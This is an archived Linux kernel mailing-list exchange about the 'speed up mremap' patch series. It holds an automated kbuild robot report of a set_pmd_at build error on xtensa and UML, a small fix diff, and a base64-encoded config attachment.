X1BNRCBpbiBhcm02NCBmb3IgZmFzdGVyIG1yZW1hcAo+ID4gPiAgICAgIFRoaXMgcGF0Y2ggaXMg
ZHJvcHBlZCBzaW5jZSBsYXN0IHBvc3RpbmcgcGVuZGluZyBmdXJ0aGVyIHBlcmZvcm1hbmNlCj4g
PiA+ICAgICAgdGVzdGluZyBvbiBhcm02NCB3aXRoIG5ldyBUTEIgZ2F0aGVyIHVwZGF0ZXMuIFNl
ZSBub3RlcyBpbiBwYXRjaAo+ID4gPiAgICAgIHRpdGxlZCAibW06IHNwZWVkIHVwIG1yZW1hcCBi
eSA1MDB4IG9uIGxhcmdlIHJlZ2lvbnMiIGZvciBtb3JlCj4gPiA+ICAgICAgZGV0YWlscy4KPiA+
ID4gCj4gPiBUaGlzIGJyZWFrcyBVTUwgYnVpbGQ6Cj4gPiAgICBDQyAgICAgIG1tL21yZW1hcC5v
Cj4gPiBtbS9tcmVtYXAuYzogSW4gZnVuY3Rpb24g4oCYbW92ZV9ub3JtYWxfcG1k4oCZOgo+ID4g
bW0vbXJlbWFwLmM6MjI5OjI6IGVycm9yOiBpbXBsaWNpdCBkZWNsYXJhdGlvbiBvZiBmdW5jdGlv
biDigJhzZXRfcG1kX2F04oCZOyBkaWQgeW91IG1lYW4g4oCYc2V0X3B0ZV9hdOKAmT8gWy1XZXJy
b3I9aW1wbGljaXQtZnVuY3Rpb24tZGVjbGFyYXRpb25dCj4gPiAgICBzZXRfcG1kX2F0KG1tLCBu
ZXdfYWRkciwgbmV3X3BtZCwgcG1kKTsKPiA+ICAgIF5+fn5+fn5+fn4KPiA+ICAgIHNldF9wdGVf
YXQKPiA+ICAgIENDICAgICAgY3J5cHRvL3JuZy5vCj4gPiAgICBDQyAgICAgIGZzL2RpcmVjdC1p
by5vCj4gPiBjYzE6IHNvbWUgd2FybmluZ3MgYmVpbmcgdHJlYXRlZCBhcyBlcnJvcnMKPiA+IAo+
ID4gVG8gdGVzdCB5b3Vyc2VsZiwganVzdCBydW4gb24gYSB4ODYgYm94Ogo+ID4gJCBtYWtlIGRl
ZmNvbmZpZyBBUkNIPXVtCj4gPiAkIG1ha2UgbGludXggQVJDSD11bQo+ID4gCj4gPiBUaGFua3Ms
Cj4gPiAvL3JpY2hhcmQKPiA+IAo+ID4gCj4gPiAKPiAKPiBVTSBzb21laG93IG1hbmFnZWQgdG8g
bWlzcyBvbmUgb2YgdGhlIDMtbGV2ZWwgZnVuY3Rpb25zLCBJIHNlbnQgYSBwYXRjaCBhdAo+IHNv
bWUgcG9pbnQgdG8gYWRkIHRvIHRoZSBtbXJlbWFwIHNlcmllcywgYnV0IGl0IGxvb2tzIGxpa2Ug
aXQgZGlkIG5vdCBnZXQKPiBpbmNsdWRlZCBpbiB0aGUgZmluYWwgdmVyc2lvbi4KPiAKPiBZb3Ug
bmVlZCB0aGVzZSB0d28gaW5jcmVtZW50YWwgb24gdG9wIG9mIEpvZWwncyBwYXRjaC4gUmljaGFy
ZCAtIGZlZWwgZnJlZQo+IHRvIHJlbG9jYXRlIHRoZSBhY3R1YWwgaW1wbGVtZW50YXRpb24gb2Yg
dGhlIHNldF9wZ2RfYXQgZWxzZXdoZXJlIC0gSSBwdXQgaXQKPiBhdCB0aGUgZW5kIG9mIHRsYi5j
Cj4gCj4gZGlmZiAtLWdpdCBhL2FyY2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oIGIvYXJjaC91
bS9pbmNsdWRlL2FzbS9wZ3RhYmxlLmgKPiBpbmRleCA3NDg1Mzk4ZDA3MzcuLjE2OTJkYTU1ZTYz
YSAxMDA2NDQKPiAtLS0gYS9hcmNoL3VtL2luY2x1ZGUvYXNtL3BndGFibGUuaAo+ICsrKyBiL2Fy
Y2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oCj4gQEAgLTM1OSw0ICszNTksNyBAQCBkbyB7wqDC
oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg
wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoCBcCj4gwqDCoMKgwqDCoMKgwqAgX19m
bHVzaF90bGJfb25lKCh2YWRkcikpO8KgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgXAo+IMKg
fSB3aGlsZSAoMCkKPiAKPiArZXh0ZXJuIHZvaWQgc2V0X3BtZF9hdChzdHJ1Y3QgbW1fc3RydWN0
ICptbSwgdW5zaWduZWQgbG9uZyBhZGRyLAo+ICvCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg
IHBtZF90ICpwbWRwLCBwbWRfdCBwbWQpOwo+ICsKPiDCoCNlbmRpZgo+IGRpZmYgLS1naXQgYS9h
cmNoL3VtL2tlcm5lbC90bGIuYyBiL2FyY2gvdW0va2VybmVsL3RsYi5jCj4gaW5kZXggNzYzZDM1
YmRkYTAxLi5kMTdiNzQxODRiYTAgMTAwNjQ0Cj4gLS0tIGEvYXJjaC91bS9rZXJuZWwvdGxiLmMK
PiArKysgYi9hcmNoL3VtL2tlcm5lbC90bGIuYwo+IEBAIC02NDcsMyArNjQ3LDkgQEAgdm9pZCBm
b3JjZV9mbHVzaF9hbGwodm9pZCkKPiDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgdm1h
ID0gdm1hLT52bV9uZXh0Owo+IMKgwqDCoMKgwqDCoMKgIH0KPiDCoH0KPiArdm9pZCBzZXRfcG1k
X2F0KHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLCB1bnNpZ25lZCBsb25nIGFkZHIsCj4gK8KgwqDCoMKg
wqDCoMKgwqDCoMKgwqDCoMKgwqAgcG1kX3QgKnBtZHAsIHBtZF90IHBtZCkKPiArewo+ICvCoMKg
wqDCoMKgwqAgKnBtZHAgPSBwbWQ7Cj4gK30KPiArCj4gCgpJIHNlZSBpdCBub3c6Cmh0dHBzOi8v
d3d3Lm1haWwtYXJjaGl2ZS5jb20vbGludXhwcGMtZGV2QGxpc3RzLm96bGFicy5vcmcvbXNnMTQw
MDA1Lmh0bWwKClNvcnJ5IGFib3V0IHRoYXQuCkFjdHVhbGx5IHRoZSByZWFzb24gdGhlIHN1Z2dl
c3Rpb24gZ290IG1pc3NlZCBpcyBpdCBkaWQgbm90IGJlbG9uZyBpbiB0aGUKcGF0Y2ggcmVtb3Zp
bmcgdGhlIHB0ZV9hbGxvYyBhZGRyZXNzIGFyZ3VtZW50LiBUaGUgcHRlX2FsbG9jIHBhcnRzIG9m
IHRoZQpwYXRjaCB5b3UgcHJvcG9zZWQgYXJlIGluZmFjdCBhbHJlYWR5IGluY2x1ZGVkLgoKVGhp
cyBzZXRfcG1kX2F0IGZvciBVTSBzaG91bGQgZ28gaW50byBhIHNlcGFyYXRlIHBhdGNoIGFuZCBz
aG91bGQgbm90IGJlCnJvbGxlZCBpbnRvIGFueSBleGlzdGluZyBvbmUuIENvdWxkIHlvdSBzZW5k
IGEgcHJvcGVyIHBhdGNoIGFkZGluZyB0aGlzCmZ1bmN0aW9uIHdpdGggYSBjb21taXQgbWVzc2Fn
ZSBhbmQgZXZlcnl0aGluZz8gSSBjYW4gdGhlbiBpbmNsdWRlIGl0IGFzIGEKc2VwYXJhdGUgcGF0
Y2ggb2YgbXkgc2VyaWVzLgoKdGhhbmtzIQoKIC0gSm9lbAoKX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX18KbGludXgtcmlzY3YgbWFpbGluZyBsaXN0CmxpbnV4
LXJpc2N2QGxpc3RzLmluZnJhZGVhZC5vcmcKaHR0cDovL2xpc3RzLmluZnJhZGVhZC5vcmcvbWFp
bG1hbi9saXN0aW5mby9saW51eC1yaXNjdgo=


From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 2/3] mm: speed up mremap by 20x on large regions (v4)
Date: Sun, 4 Nov 2018 00:45:41 +0800
Lines: 1132
Approved: news@gmane.org
Message-ID: <201811040030.qFOc57Ke%fengguang.wu@intel.com>
References: <20181103040041.7085-3-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="2fHTh5uZTiUOsy+g"
X-Trace: blaine.gmane.org 1541263492 13921 195.159.176.226 (3 Nov 2018 16:44:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 16:44:52 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, ant
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 17:44:43 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIz2Q-0003NK-EM
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 17:44:42 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:In-Reply-To:
	Content-Type:MIME-Version:References:Message-ID:Subject:To:From:Date:Reply-To
	:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=pdh+PX/v+7wbr3aavUYQtf1qPJMneA3y4rvJq+IdN+0=; b=Q1KAAHYpnrVMCd38xTRQooyv3
	aL3/WBtAvKMqyegLNsP65NFp0UDXHLU0ur5eWwhE0zDmi4wnw2IwEIvFhrGb+gSihkY0ozWK6UgyP
	/lkhnDqnB53IwNp+fywBI8RxiTlokSXOI2/7Lk+zuLipXScyYgWO42qxEKzTeh5PexmWFVYJAqpA+
	9gGA8Ygjc7Sq7iUESvOoG6DWu/0zIZLCfTjg+m+TuesXe8fFSZDSpS9HYA9SK9okPHJDTGLWw6EAe
	BqNkGAHGXx4DoBbH6S2db9F6ylL8OIOITU+MIQtUfe6DBZyM5JBFwxt+B6hsShnLqKMPYrANhO8aV
	UpQ28iGEw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIz4V-0002K8-6B; Sat, 03 Nov 2018 16:46:51 +0000
Original-Received: from mga05.intel.com ([192.55.52.43])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIz4R-0002IS-Tp; Sat, 03 Nov 2018 16:46:49 +0000
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
 by fmsmga105.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 03 Nov 2018 09:46:34 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.54,460,1534834800"; 
 d="gz'50?scan'50,208,50";a="103166080"
Original-Received: from lkp-server01.sh.intel.com (HELO lkp-server01) ([10.239.97.150])
 by fmsmga004.fm.intel.com with ESMTP; 03 Nov 2018 09:46:24 -0700
Original-Received: from kbuild by lkp-server01 with local (Exim 4.89)
 (envelope-from <lkp@intel.com>)
 id 1gIz43-000Fgd-FI; Sun, 04 Nov 2018 00:46:23 +0800
Content-Disposition: inline
In-Reply-To: <20181103040041.7085-3-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_094648_003748_DBFA4E0B 
X-CRM114-Status: UNSURE (   8.56  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-2.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/,
 medium trust [192.55.52.43 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4691 gmane.linux.ports.mips.general:67292 gmane.linux.ports.ia64:29464 gmane.linux.ports.sh.devel:57744 gmane.linux.kernel.mm:206341 gmane.linux.ports.riscv:1355 gmane.comp.emulators.kvm.arm.devel:19667 gmane.linux.ports.sparc:28720 gmane.linux.ports.hexagon:2000 gmane.linux.ports.parisc:29268 gmane.linux.kernel:2914635 gmane.linux.ports.alpha:5411 gmane.linux.ports.ppc64.devel:165214
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4691>


--2fHTh5uZTiUOsy+g
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Joel,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on next-20181102]

url:    https://github.com/0day-ci/linux/commits/Joel-Fernandes/Add-support-for-fast-mremap/20181103-224908
config: xtensa-allmodconfig (attached as .config)
compiler: xtensa-linux-gcc (GCC) 8.1.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=8.1.0 make.cross ARCH=xtensa 

All errors (new ones prefixed by >>):

   mm/mremap.c: In function 'move_normal_pmd':
>> mm/mremap.c:229:2: error: implicit declaration of function 'set_pmd_at'; did you mean 'set_pte_at'? [-Werror=implicit-function-declaration]
     set_pmd_at(mm, new_addr, new_pmd, pmd);
     ^~~~~~~~~~
     set_pte_at
   cc1: some warnings being treated as errors

vim +229 mm/mremap.c

   193	
   194	static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
   195			  unsigned long new_addr, unsigned long old_end,
   196			  pmd_t *old_pmd, pmd_t *new_pmd)
   197	{
   198		spinlock_t *old_ptl, *new_ptl;
   199		struct mm_struct *mm = vma->vm_mm;
   200		pmd_t pmd;
   201	
   202		if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
   203		    || old_end - old_addr < PMD_SIZE)
   204			return false;
   205	
   206		/*
   207		 * The destination pmd shouldn't be established, free_pgtables()
   208		 * should have release it.
   209		 */
   210		if (WARN_ON(!pmd_none(*new_pmd)))
   211			return false;
   212	
   213		/*
   214		 * We don't have to worry about the ordering of src and dst
   215		 * ptlocks because exclusive mmap_sem prevents deadlock.
   216		 */
   217		old_ptl = pmd_lock(vma->vm_mm, old_pmd);
   218		new_ptl = pmd_lockptr(mm, new_pmd);
   219		if (new_ptl != old_ptl)
   220			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
   221	
   222		/* Clear the pmd */
   223		pmd = *old_pmd;
   224		pmd_clear(old_pmd);
   225	
   226		VM_BUG_ON(!pmd_none(*new_pmd));
   227	
   228		/* Set the new pmd */
 > 229		set_pmd_at(mm, new_addr, new_pmd, pmd);
   230		flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);
   231		if (new_ptl != old_ptl)
   232			spin_unlock(new_ptl);
   233		spin_unlock(old_ptl);
   234	
   235		return true;
   236	}
   237	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--2fHTh5uZTiUOsy+g
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
